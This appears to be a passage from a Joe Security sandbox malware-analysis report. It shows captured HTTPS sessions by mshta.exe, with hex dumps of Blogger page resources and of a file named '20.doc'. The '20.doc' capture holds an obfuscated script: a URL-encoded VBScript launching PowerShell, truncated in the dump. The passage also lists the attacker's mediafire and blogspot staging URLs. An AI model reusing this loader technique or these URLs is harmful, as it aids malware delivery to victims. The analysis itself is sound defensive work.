62 2c 75 72 6c 3a 63 2e 73 72 63 7d 29 3b 5f 2e 66 65 28 22 48 45 41 44 22 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6
c 64 28 63 29 7d 7d 2c 46 6a 3d 66 75 6e 63 74 69 6f 6e 28 61 29 
Data Ascii: })},Cj=function(a,b){if(Ej){var c=_.me("SCRIPT");c.async=!0;c.type="text/javascript";c.charset="UTF-8";_.Aj(
c,Ej);c.onload=_.ce(Bj,a,b,c.src);c.onerror=_.ce(Dj,a,b,c.src);_.Md.log(45,{att:a,max:b,url:c.src});_.fe("HEAD")[0].appe
ndChild(c)}},Fj=function(a)

2021-11-25 17:33:43 UTC 458 IN Data Raw: 6f 74 6f 74 79 70 65 29 3b 61 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 61 3b 69 66 
28 6d 29 6d 28 61 2c 62 29 3b 65 6c 73 65 20 66 6f 72 28 76 61 72 20 63 20 69 6e 20 62 29 69 66 28 22 70 72 6f 74 6f 74 
79 70 65 22 21 3d 63 29 69 66 28 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 29 7b 76 61 72 
20 65 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 62 2c 63 29 3b 
65 26 26 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 61 2c 63 2c 65 29 7d 65 6c 73 65 20 61 5b 63 
5d 3d 62 5b 63 5d 3b 61 2e 76 3d 62 2e 70 72 6f 74 6f 74 79 70 65 7d 2c 70 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 71 3d 66 
75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 75 6e 63 74 69 
Data Ascii: ototype);a.prototype.constructor=a;if(m)m(a,b);else for(var c in b)if("prototype"!=c)if(Object.defineProperties)
{var e=Object.getOwnPropertyDescriptor(b,c);e&&Object.defineProperty(a,c,e)}else a[c]=b[c];a.v=b.prototype},p=this||
self,q=function(a,b){functi

2021-11-25 17:33:43 UTC 459 IN Data Raw: 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 67 2e 70 62 28 61 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 
76 61 72 20 42 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 74 68 69 73 2e 67 3d 61 3b 74 68 69 73 2e 48 3d 62 7c 7c 
6e 75 6c 6c 7d 3b 6e 28 42 2c 74 29 3b 42 2e 70 72 6f 74 6f 74 79 70 65 2e 74 68 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 
2c 62 2c 63 29 7b 76 61 72 20 65 3b 61 26 26 28 65 3d 43 28 74 68 69 73 2c 61 29 29 3b 74 68 69 73 2e 67 2e 61 61 28 
65 2c 62 2c 63 29 7d 3b 76 61 72 20 43 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 61 2e 48 3b 72 6
5 74 75 72 6e 20 63 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 62 2e 63 61 6c 6c 28 74 68 69 73 2c 6e 65 77 20 63 28 65 29 
29 7d 3a 62 7d 3b 76 61 72 20 44 3d 5b 5d 3b 76 61 72 20 45 3d 66 
Data Ascii: nction(a){this.g.pb(a);return this};var B=function(a,b){this.g=a;this.H=b||null};n(B,t);B.prototype.then=fun
ction(a,b,c){var e;a&&(e=C(this,a));this.g.aa(e,b,c)};var C=function(a,b){var c=a.H;return c?function(e){b.call(this,new 
c(e))}:b};var D=[];var E=f

2021-11-25 17:33:43 UTC 460 IN Data Raw: 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 62 6c 6f 67 67 65 72 2e 63 6f 6d 2f 67 6f 2f 63 6f 6e 74 65 6e 74 70 6f 6c
69 63 79 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6f 6d 6d 75 6e 69 74 79 2d 52 69 63 68 74 6c 69 6e 
69 65 6e 3c 2f 61 3e 20 76 6f 6e 20 42 6c 6f 67 67 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 3c 61 20 63 6c 61 73 73 3d 22 6d 61 
69 61 2d 62 75 74 74 6f 6e 20 6d 61 69 61 2d 62 75 74 74 6f 6e 2d 70 72 69 6d 61 72 79 22 20 68 72 65 66 3d 22 68 74 
74 70 73 3a 2f 2f 77 77 77 2e 62 6c 6f 67 67 65 72 2e 63 6f 6d 2f 61 67 65 2d 76 65 72 69 66 69 63 61 74 69 6f 6e 2e 67 3f 
62 6c 6f 67 73 70 6f 74 55 52 4c 3d 68 74 74 70 73 3a 2f 2f 6b 64 61 6f 73 6b 64 6f 6b 61 6f 64 6b 77 6c 64 6c 64 2e 62 6c 
6f 67 73 70 6f 74 2e 63 6f 6d 2f 70 2f 32 30 2e 68 
Data Ascii:  href="//www.blogger.com/go/contentpolicy" target="_blank">Community-Richtlinien</a> von Blogger.</p><p>
<a class="maia-button maia-button-primary" href="https://www.blogger.com/age-verification.g?blogspotURL=https://kd
aoskdokaodkwldld.blogspot.com/p/20.h

2021-11-25 17:33:43 UTC 462 IN Data Raw: 2f 2f 77 77 77 2e 62 6c 6f 67 67 65 72 2e 63 6f 6d 2f 67 6f 2f 64 65 76 66 6f 72 75 6d 22 3e 45 6e 74 77 69 63 
6b 6c 65 72 66 6f 72 75 6d 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 
3c 2f 64 69 76 3e 0a 3c 64 69 76 20 69 64 3d 22 6d 61 69 61 2d 66 6f 6f 74 65 72 2d 67 6c 6f 62 61 6c 22 3e 3c 64 69 76 
20 63 6c 61 73 73 3d 22 6d 61 69 61 2d 61 75 78 22 3e 3c 64 69 76 20 69 64 3d 22 63 6f 70 79 72 69 67 68 74 22 3e 26 
63 6f 70 79 3b 20 31 39 39 39 20 26 6e 64 61 73 68 3b 20 32 30 32 31 20 47 6f 6f 67 6c 65 3c 2f 64 69 76 3e 0a 3c 75 6c 
3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 6c 6f 67 67 65 72 2e 63 6f 6d 2f 67 6f 2f 
74 65 72 6d 73 22 3e 4e 75 74 7a 75 6e 67 73 62 65 
Data Ascii: //www.blogger.com/go/devforum">Entwicklerforum</a></li></ul></div></div></div></div><div id="maia-footer-
global"><div class="maia-aux"><div id="copyright">&copy; 1999 &ndash; 2021 Google</div><ul><li><a href="https://w
ww.blogger.com/go/terms">Nutzungsbe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

11 192.168.2.22 49176 172.217.168.9 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 17:33:43 UTC 314 OUT GET /blogblog/data/1kt/simple/body_gradient_tile_light.png HTTP/1.1
Accept: */*
Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.html
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: resources.blogblog.com
Connection: Keep-Alive
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2021-11-25 17:33:43 UTC 330 IN HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: image/png
Cross-Origin-Resource-Policy: cross-origin
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="blogger-tech"
Report-To: {"group":"blogger-tech","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/blogg
er-tech"}]}
Content-Length: 95
Date: Tue, 23 Nov 2021 12:40:44 GMT
Expires: Tue, 30 Nov 2021 12:40:44 GMT
Last-Modified: Tue, 23 Nov 2021 11:51:29 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 0
Cache-Control: public, max-age=604800
Age: 190379
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

2021-11-25 17:33:43 UTC 331 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 0a 00 00 00 0a 01 03 00 00 00 b7 fc 5d fe 00 00 00 
03 50 4c 54 45 ff ff ff a7 c4 1b c8 00 00 00 01 74 52 4e 53 99 c9 35 f3 86 00 00 00 0a 49 44 41 54 08 1d 63 c0 0b 00 00 1e 
00 01 f7 98 4c 5c 00 00 00 00 49 45 4e 44 ae 42 60 82 
Data Ascii: PNGIHDR]PLTEtRNS5IDATcL\IENDB`

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

12 192.168.2.22 49177 172.217.168.9 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 17:33:43 UTC 326 OUT GET /blogblog/data/1kt/simple/gradients_light.png HTTP/1.1
Accept: */*
Referer: https://kukadunikkk@kdaoskdokaodkwldld.blogspot.com/p/20.html
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: resources.blogblog.com
Connection: Keep-Alive

2021-11-25 17:33:43 UTC 341 IN HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: image/png
Cross-Origin-Resource-Policy: cross-origin
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="blogger-tech"
Report-To: {"group":"blogger-tech","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/blogg
er-tech"}]}
Content-Length: 403
Date: Tue, 23 Nov 2021 13:04:36 GMT
Expires: Tue, 30 Nov 2021 13:04:36 GMT
Last-Modified: Tue, 23 Nov 2021 08:57:18 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 0
Cache-Control: public, max-age=604800
Age: 188947
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

2021-11-25 17:33:43 UTC 342 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 14 00 00 04 4c 08 06 00 00 00 99 1b b3 84 00 00 
01 5a 49 44 41 54 78 da ed dc c1 0d 02 41 0c 04 41 2f dc 97 68 c8 3f 30 90 d0 10 04 06 71 eb aa 00 56 ee 1b f1 65 25 b9 
55 a3 a3 aa 56 e7 83 97 6a d6 fe a0 64 c9 92 25 bb 50 b2 64 c9 92 25 9f 2b d9 28 92 25 4b 96 2c d9 28 92 25 4b 96 2c d9 
85 92 25 4b 96 2c 79 d7 64 a3 48 96 2c 59 b2 64 a3 48 96 2c 59 b2 64 17 4a 96 2c 59 b2 64 c9 db 24 1b 45 b2 64 c9 92 
8d 22 59 b2 64 c9 92 25 bb 50 b2 64 c9 92 25 ef 9a 6c 14 c9 92 25 4b 96 6c 14 c9 92 25 4b 96 ec 42 c9 92 25 4b 1e 92 6c 
14 c9 92 25 4b 96 2c d9 28 92 25 4b 96 2c d9 85 92 25 4b 96 2c 59 f2 79 93 8d 22 59 b2 64 c9 46 91 2c 59 b2 64 c9 92 5d 
28 59 b2 64 c9 ff 99 bc 92 dc bb 2f cc bc 51 24 4b 96 2c 59 b2 
Data Ascii: PNGIHDRLZIDATxAA/h?0qVe%UVjd%Pd%+(%K,(%K,%K,ydH,YdH,YdJ,Yd$Ed"Yd%Pd%l%Kl%KB%Kl%K,
(%K,%K,Yy"YdF,Yd](Yd/Q$K,Y

Session ID Source IP Source Port Destination IP Destination Port Process

13 192.168.2.22 49178 172.217.168.9 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data
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2021-11-25 17:33:59 UTC 462 OUT GET /static/v1/v-css/281434096-static_pages.css HTTP/1.1
Accept: */*
Referer: https://www.blogger.com/blogin.g?blogspotURL=https%3A%2F%2Fkdaoskdokaodkwldld.blogspot.com%
2Fp%2F20.html&type=blog&bpli=1
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.blogger.com
Connection: Keep-Alive

2021-11-25 17:33:59 UTC 463 IN HTTP/1.1 200 OK
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Type: text/css
Cross-Origin-Resource-Policy: cross-origin
Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="blogger-tech"
Report-To: {"group":"blogger-tech","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/blogg
er-tech"}]}
Content-Length: 3812
Date: Tue, 23 Nov 2021 07:10:00 GMT
Expires: Wed, 23 Nov 2022 07:10:00 GMT
Last-Modified: Tue, 23 Nov 2021 05:52:15 GMT
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 0
Cache-Control: public, max-age=31536000
Age: 210239
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

2021-11-25 17:33:59 UTC 463 IN Data Raw: 62 6f 64 79 2c 64 69 76 2c 64 6c 2c 64 74 2c 64 64 2c 75 6c 2c 6f 6c 2c 6c 69 2c 68 31 2c 68 32 2c 68 33 2c 68
34 2c 68 35 2c 68 36 2c 70 72 65 2c 66 6f 72 6d 2c 66 69 65 6c 64 73 65 74 2c 69 6e 70 75 74 2c 74 65 78 74 61 72 65 61 
2c 70 2c 62 6c 6f 63 6b 71 75 6f 74 65 2c 74 68 2c 74 64 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 61 
7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 74 61 62 6c 65 7b 62 6f 72 64 65 72 2d 63 6f 6c 6c 61 
70 73 65 3a 63 6f 6c 6c 61 70 73 65 3b 62 6f 72 64 65 72 2d 73 70 61 63 69 6e 67 3a 30 7d 66 69 65 6c 64 73 65 74 2c 69 
6d 67 7b 62 6f 72 64 65 72 3a 30 7d 61 64 64 72 65 73 73 2c 63 61 70 74 69 6f 6e 2c 63 69 74 65 2c 63 6f 64 65 2c 64 66 
6e 2c 65 6d 2c 73 74 72 6f 6e 67 2c 74 68 2c 76 61 72 
Data Ascii: body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,input,textarea,p,blockquote,th,td{margin:0;pa
dding:0}a{text-decoration:none}table{border-collapse:collapse;border-spacing:0}fieldset,img{border:0}address,caption,cit
e,code,dfn,em,strong,th,var

2021-11-25 17:33:59 UTC 464 IN Data Raw: 3a 31 2e 35 34 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 
33 30 30 3b 6d 61 72 67 69 6e 3a 32 30 70 78 20 30 3b 63 6f 6c 6f 72 3a 23 66 36 30 7d 68 32 7b 66 6f 6e 74 2d 73 69 7a 
65 3a 32 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 6d 61 72 67 69 6e 3a 32 65 6d 20 30 20 31 65 6d 
20 30 7d 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 6d 61 
72 67 69 6e 3a 31 2e 32 65 6d 20 30 20 2e 36 65 6d 20 30 7d 70 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 65 6d 7
d 75 6c 7b 70 61 64 64 69 6e 67 3a 30 7d 2e 6d 61 69 61 2d 66 6f 6f 74 65 72 20 68 35 7b 66 6f 6e 74 2d 73 69 7a 65 3a 3
1 33 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b 6d 
Data Ascii: :1.54}h1{font-size:20px;font-weight:300;margin:20px 0;color:#f60}h2{font-size:24px;font-weight:700;margin:2em 
0 1em 0}h3{font-size:14px;font-weight:700;margin:1.2em 0 .6em 0}p{margin-bottom:2em}ul{padding:0}.maia-footer h5{font-
size:13px;font-weight:700;m

2021-11-25 17:33:59 UTC 465 IN Data Raw: 73 6f 6c 69 64 20 23 65 62 65 62 65 62 3b 6d 61 72 67 69 6e 3a 31 36 70 78 20 30 20 33 32 70 78 20 30 7d 2e 
65 72 72 6f 72 6d 65 73 73 61 67 65 7b 63 6f 6c 6f 72 3a 23 64 64 34 62 33 39 3b 70 61 64 64 69 6e 67 3a 39 70 78 20 30 
7d 74 65 78 74 61 72 65 61 2e 66 6f 72 6d 65 72 72 6f 72 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 64 
34 62 33 39 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 2c 70 72 6f 6a 65 63 74 69 6f 6e 7b 23 6d 61 69 61 2d 68 65 61 
64 65 72 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 33 34 70 78 7d 74 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 
74 72 61 6e 73 70 61 72 65 6e 74 7d 23 67 62 71 6c 77 7b 62 6f 72 64 65 72 3a 6e 6f 6e 65 7d 7d 2e 6d 61 69 61 2d 62 75 
74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 62 38 
Data Ascii: solid #ebebeb;margin:16px 0 32px 0}.errormessage{color:#dd4b39;padding:9px 0}textarea.formerror{bo
rder:1px solid #dd4b39}@media screen,projection{#maia-header{min-height:34px}tr{background-color:transparent}#
gbqlw{border:none}}.maia-button{background:#fb8

2021-11-25 17:33:59 UTC 466 IN Data Raw: 6c 65 28 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 31 29 7d 2e 6d 6f 64 61 6c 64 69 61 6c 6f 
67 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 34 70 78 20 31 36 70 78 20 72 67 62 61 28 30 2c 30 
2c 30 2c 2e 32 29 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 34 70 78 20 31 36 70 78 20 72 67 62 61 28 30 
2c 30 2c 30 2c 2e 32 29 3b 2d 6d 73 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 34 70 78 20 31 36 70 78 20 72 67 62 61 
28 30 2c 30 2c 30 2c 2e 32 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 34 70 78 20 31 36 70 78 20 72 67 62 61 28 30 2c 
30 2c 30 2c 2e 32 29 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 6c 65 66 74 3a 35 30 25 3b 62 6f 72 64 65 72 3a 
31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 70 61 64 64 69 
Data Ascii: le(1);transform:scale(1)}.modaldialog{-webkit-box-shadow:0 4px 16px rgba(0,0,0,.2);-moz-box-shadow:0 4px 
16px rgba(0,0,0,.2);-ms-box-shadow:0 4px 16px rgba(0,0,0,.2);box-shadow:0 4px 16px rgba(0,0,0,.2);background:#fff
;left:50%;border:1px solid #ccc;paddi

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.22 49167 199.91.155.88 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

Copyright Joe Security LLC 2021 Page 48 of 90



2021-11-25 17:33:32 UTC 2 OUT GET /7zyqtjrto6xg/95ggilwnqccbq6l/20.doc HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Cookie: ukey=wpgd26kulj39kjvputiz6tvqsvprqjyj
Connection: Keep-Alive
Host: download2347.mediafire.com

2021-11-25 17:33:32 UTC 2 IN HTTP/1.1 200 OK
Server: LRBD-e6a1775
Date: Thu, 25 Nov 2021 17:33:32 GMT
Connection: close
Accept-Ranges: bytes
Content-transfer-encoding: binary
Content-Length: 2887
Cache-Control: no-store
X-Robots-Tag: noindex, nofollow
Content-Disposition: attachment; filename="20.doc"
Content-Type: application/msword

2021-11-25 17:33:32 UTC 3 IN Data Raw: 3c 73 63 72 69 70 74 3e 0d 0a 3c 21 2d 2d 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 75 6e 65 73 63 
61 70 65 28 22 25 33 43 48 54 4d 4c 25 33 45 25 30 41 25 33 43 48 54 4d 4c 25 33 45 25 30 41 25 33 43 6d 65 74 61 25 
32 30 68 74 74 70 2d 65 71 75 69 76 25 33 44 25 32 32 43 6f 6e 74 65 6e 74 2d 54 79 70 65 25 32 32 25 32 30 63 6f 6e 
74 65 6e 74 25 33 44 25 32 32 74 65 78 74 2f 68 74 6d 6c 25 33 42 25 32 30 63 68 61 72 73 65 74 25 33 44 75 74 66 2d 3
8 25 32 32 25 33 45 25 30 41 25 33 43 48 45 41 44 25 33 45 25 30 41 25 33 43 73 63 72 69 70 74 25 32 30 6c 61 6e 67 
75 61 67 65 25 33 44 25 32 32 56 42 53 63 72 69 70 74 25 32 32 25 33 45 25 30 41 70 69 6e 6b 25 32 30 25 33 44 25 32 
30 25 32 32 70 4f 77 65 72 73 48 65 6c 4c 2e 65 78 65 25 32 30 2d 4e 6f 
Data Ascii: <script>...document.write(unescape("%3CHTML%3E%0A%3CHTML%3E%0A%3Cmeta%20http-e
quiv%3D%22Content-Type%22%20content%3D%22text/html%3B%20charset%3Dutf-8%22%3E%0A%3CHEAD%3E
%0A%3Cscript%20language%3D%22VBScript%22%3E%0Apink%20%3D%20%22pOwersHelL.exe%20-No

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.22 49168 172.217.168.1 443 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 17:33:39 UTC 6 OUT GET /p/20.html HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: kdaoskdokaodkwldld.blogspot.com
Connection: Keep-Alive

2021-11-25 17:33:40 UTC 6 IN HTTP/1.1 200 OK
X-Robots-Tag: noindex, nofollow
Content-Type: text/html; charset=UTF-8
Expires: Thu, 25 Nov 2021 17:33:40 GMT
Date: Thu, 25 Nov 2021 17:33:40 GMT
Cache-Control: private, max-age=0
Last-Modified: Tue, 23 Nov 2021 04:07:44 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2021-11-25 17:33:40 UTC 7 IN Data Raw: 33 37 65 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 27 76 
32 27 20 64 69 72 3d 27 6c 74 72 27 20 6c 61 6e 67 3d 27 65 6e 27 3e 0a 3c 68 65 61 64 3e 0a 3c 6c 69 6e 6b 20 68 72 
65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 6c 6f 67 67 65 72 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 76 31 2f 77 69 64 
67 65 74 73 2f 31 35 32 39 35 37 31 31 30 32 2d 63 73 73 5f 62 75 6e 64 6c 65 5f 76 32 2e 63 73 73 27 20 72 65 6c 3d 27 
73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 2f 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 
65 6e 74 3d 27 77 69 64 74 68 3d 31 31 30 30 27 20 6e 61 6d 65 3d 27 76 69 65 77 70 6f 72 74 27 2f 3e 0a 3c 6d 65 74 61 
20 63 6f 6e 74 65 6e 74 3d 27 74 65 78 74 2f 68 74 6d 6c 
Data Ascii: 37ea<!DOCTYPE html><html class='v2' dir='ltr' lang='en'><head><link href='https://www.blogger.com/static/v1/
widgets/1529571102-css_bundle_v2.css' rel='stylesheet' type='text/css'/><meta content='width=1100' name='viewport'/>
<meta content='text/html

2021-11-25 17:33:40 UTC 7 IN Data Raw: 22 20 74 69 74 6c 65 3d 22 2e 62 63 6b 32 32 20 2d 20 52 53 53 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 
2f 6b 64 61 6f 73 6b 64 6f 6b 61 6f 64 6b 77 6c 64 6c 64 2e 62 6c 6f 67 73 70 6f 74 2e 63 6f 6d 2f 66 65 65 64 73 2f 70 6f 
73 74 73 2f 64 65 66 61 75 6c 74 3f 61 6c 74 3d 72 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 65 72 76 69 
63 65 2e 70 6f 73 74 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 
6c 65 3d 22 2e 62 63 6b 32 32 20 2d 20 41 74 6f 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 6c 6f 
67 67 65 72 2e 63 6f 6d 2f 66 65 65 64 73 2f 33 39 30 33 36 30 39 34 31 39 33 31 37 36 39 39 33 39 38 2f 70 6f 73 74 73 
2f 64 65 66 61 75 6c 74 22 20 2f 3e 0a 3c 21 2d 2d 5b 
Data Ascii: " title=".bck22 - RSS" href="https://kdaoskdokaodkwldld.blogspot.com/feeds/posts/default?alt=rss" /><link re
l="service.post" type="application/atom+xml" title=".bck22 - Atom" href="https://www.blogger.com/feeds/3903609
419317699398/posts/default" />...[
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2021-11-25 17:33:40 UTC 8 IN Data Raw: 2f 0a 62 6f 64 79 20 7b 0a 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 6e 6f 72 6d 61 6c 20 31 32 70 78 20 41 72 
69 61 6c 2c 20 54 61 68 6f 6d 61 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 46 72 65 65 53 61 6e 73 2c 20 73 61 6e 73 2d 73 
65 72 69 66 3b 0a 63 6f 6c 6f 72 3a 20 23 32 32 32 32 32 32 3b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 65 61 61 30 
30 20 6e 6f 6e 65 20 72 65 70 65 61 74 20 73 63 72 6f 6c 6c 20 74 6f 70 20 6c 65 66 74 3b 0a 70 61 64 64 69 6e 67 3a 20 
30 20 34 30 70 78 20 34 30 70 78 20 34 30 70 78 3b 0a 7d 0a 68 74 6d 6c 20 62 6f 64 79 20 2e 72 65 67 69 6f 6e 2d 69 6e 
6e 65 72 20 7b 0a 6d 69 6e 2d 77 69 64 74 68 3a 20 30 3b 0a 6d 61 78 2d 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 77 69 
64 74 68 3a 20 61 75 74 6f 3b 0a 7d 0a 68 32 20 7b 0a 66 6f 
Data Ascii: /body {font: normal normal 12px Arial, Tahoma, Helvetica, FreeSans, sans-serif;color: #222222;background: #e
eaa00 none repeat scroll top left;padding: 0 40px 40px 40px;}html body .region-inner {min-width: 0;max-width: 100%;width: 
auto;}h2 {fo

2021-11-25 17:33:40 UTC 10 IN Data Raw: 2f 0a 2e 68 65 61 64 65 72 2d 6f 75 74 65 72 20 7b 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 63 63 36 36 31 
31 20 75 72 6c 28 68 74 74 70 73 3a 2f 2f 72 65 73 6f 75 72 63 65 73 2e 62 6c 6f 67 62 6c 6f 67 2e 63 6f 6d 2f 62 6c 6f 67 
62 6c 6f 67 2f 64 61 74 61 2f 31 6b 74 2f 73 69 6d 70 6c 65 2f 67 72 61 64 69 65 6e 74 73 5f 6c 69 67 68 74 2e 70 6e 67 
